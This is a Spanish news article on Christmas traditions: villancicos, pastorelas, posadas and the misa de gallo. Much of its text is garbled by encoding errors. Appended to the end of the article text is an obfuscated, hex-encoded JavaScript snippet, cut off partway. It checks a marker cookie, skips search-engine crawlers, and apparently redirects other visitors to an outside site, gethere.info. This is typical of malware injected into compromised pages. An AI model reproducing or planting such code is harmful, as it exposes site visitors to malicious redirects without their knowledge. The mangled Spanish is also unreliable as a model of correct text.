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17 Dic 2015
Noticias | Por: Redacción

Lo que debAi??s saber sobre el tiempo de Navidad

Las pastorelas, los villancicos, misas especiales y las posadas, son algunas de las actividades distintivas de la Ai??poca y que te anuncian que un aAi??o estA? por terminar. A?CA?mo vivAi??s esta Ai??poca tan esperada del aAi??o?

Fuente: es.catholic.net

Las tradiciones y costumbres de la Ai??poca son una manera de recordar lo que ocurriA? en el pasado. Son hechos y obras que se transmiten de una generaciA?n a otra de forma oral o escrita. En el caso de la Navidad, lo mA?s importante no es sA?lo el aspecto exterior: decoraciones, nacimientos, luces, A?rboles, entre otros, sino el significado que le da cada persona. Si creAi??s en algo y sos practicante de esa costumbre, es necesario que sepA?s por quAi?? y para quAi?? se lleva a cabo. Existen muchas tradiciones y costumbres de la Navidad que nos recuerdan el verdadero motivo de las celebraciones y que alimentan el espAi??ritu navideAi??o que muchos esperan. A continuaciA?n te presentamos algunas historias y las tradiciones mA?s recurrentes en estas fiestas.

Los villancicos

Se dice que el compositor de los primeros villancicos fue el MarquAi??s de Santillana, que compuso una serie de canciones para celebrar, con sus tres hijos, el misterio de la Navidad. Sin embargo, segA?n el sitio web es.catholic.net, los primeros villancicos que se conocen fueron compuestos por los evangelizadores, en el siglo V, con la finalidad de llevar la Buena Nueva a los aldeanos y campesinos que no sabAi??an leer.

Sus letras hablaban sobre el Misterio de la EncarnaciA?n en lenguaje popular y estaban inspirados en la liturgia de la Navidad. Como se llamaba ai???villanusai??? al aldeano, con el tiempo, el nombre cambiA? a ai???villancicosai???. Estos hablan en un tono sensible e ingenioso de los sentimientos de la Virgen MarAi??a y de los pastores ante el Nacimiento de JesA?s.

En el siglo XIII se extendieron por todo el mundo junto con el nacimiento de San Francisco de AsAi??s. Los villancicos favorecen la participaciA?n en la liturgia de Adviento y de Navidad. Cantarlos es un modo de demostrar alegrAi??a y gratitud a JesA?s y escucharlos durante el Adviento ayuda a la preparaciA?n del corazA?n para el acontecimiento de la Navidad.

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Las pastorelas

En el siglo XVI, en Italia, Torcuato Taso dio a conocer el gAi??nero teatral ai???fA?bula pastorilai??? que era una pastorela o villancico escenificado. La palabra pastorela viene del italiano ai???pastorellaai???, que en espaAi??ol significa pastorcilla. En MAi??xico, los mayas y los aztecas, hacAi??an representaciones dramA?ticas de diferentes tipos: cacerAi??as, hombres disfrazados de animales, curaciones importantes, etc. Estas representaciones tenAi??an un carA?cter religioso y se llevaban a cabo frente a los templos de sus dioses.

Los misioneros aprovecharon las inquietudes teatrales y religiosas del pueblo para evangelizarlos, suplantando poco a poco sus ritos paganos por las pastorelas. El inicio formal de las pastorelas, segA?n algunos historiadores, fue en 1527, en Cuernavaca, MAi??xico, con ai???La comedia de los reyesai???. En 1530 se escenificA? ai???La Natividad Gozosa de nuestro Salvadorai???. Poco a poco, se comenzA? a escenificar el peregrinar de JosAi?? y de la virgen MarAi??a y se fueron incorporando las aventuras de los pastores y las tentaciones que lograron vencer para llegar a JesA?s.

Son una forma peculiar, hasta cierto punto ingenua y representaciA?n escAi??nica, de marco festivo y alegre, que refiere acontecimientos previos a la venida de JesA?s y termina con el esplendor del pesebre y la adoraciA?n de los pastores. En una pastorela se mezclan personajes divinos y humanos donde el destino eterno de los hombres ocupa el papel central de la trama. Los personajes centrales son Dios, la Virgen y los pastores que acuden a adorar al niAi??o JesA?s en la gruta de BelAi??n.

Las pastorelas son jocosas y alegres, presentan al diablo ridiculizA?ndolo y terminan siempre con su derrota, con el triunfo del bien sobre el mal. Se trata de despertar en los oyentes los mA?s nobles sentimientos de amor, dando una moraleja y un mensaje de tipo religioso donde se exalta la fe cristiana.

Las posadas

Las posadas son fiestas que tienen como fin preparar la Navidad. Normalmente comienzan el dAi??a 16 de diciembre y terminan el dAi??a 24 del mismo mes. Su origen se remonta a los tiempos de la conquista. Con el tiempo, esta costumbre se comenzA? a realizar en barrios y luego pasA? a formar parte de la vida familiar. SegA?n la tradiciA?n, una posada comienza con el rezo del Rosario y el canto de las letanAi??as. Durante el canto, los asistentes forman dos filas que terminan con 2 A? 4 niAi??os que llevan a la SantAi??sima Virgen y a San JosAi??, llamados “peregrinos”, que van a BelAi??n.

Al terminar las letanAi??as, se dividen en dos grupos: uno entra a la casa y otro pide posada, imitando a San JosAi?? y la Virgen cuando llegaron a BelAi??n. Los peregrinos reciben acogida por parte del grupo que se encuentra en el interior. Luego de esto, siguen los alegres villancicos y termina la fiesta, que en El Salvador suele culminarse con un pequeAi??o refrigerio, como una forma de compartir las bendiciones que Dios ha dado sobre el hogar que recibe la posada.

La misa de gallo

Se denomina popularmente con ese nombre a misa que se celebra en la medianoche o poco antes de Navidad, es decir, en Nochebuena. De esta forma se recibe al dAi??a de Navidad como la conmemoraciA?n del nacimiento de JesA?s. TambiAi??n es conocida popularmente como “Misa de los pastores”.

SegA?n es.catholic.net, la mayorAi??a de los historiadores y voces autorizadas en el tema litA?rgico seAi??alan como origen a esta tradicional conmemoraciA?n religiosa del nacimiento de JesA?s, al Papa Sixto III, quien en el siglo V instaurA? la costumbre de celebrar una misa de vigilia tras la entrada al nuevo dAi??a en el ai???ad galli cantusai??? (al canto del gallo). El ai???ad galli cantusai??? se referAi??a al momento en el que empieza el nuevo dAi??a y que, segA?n las antiguas tradiciones romanas, comenzaba en la medianoche con el canto del gallo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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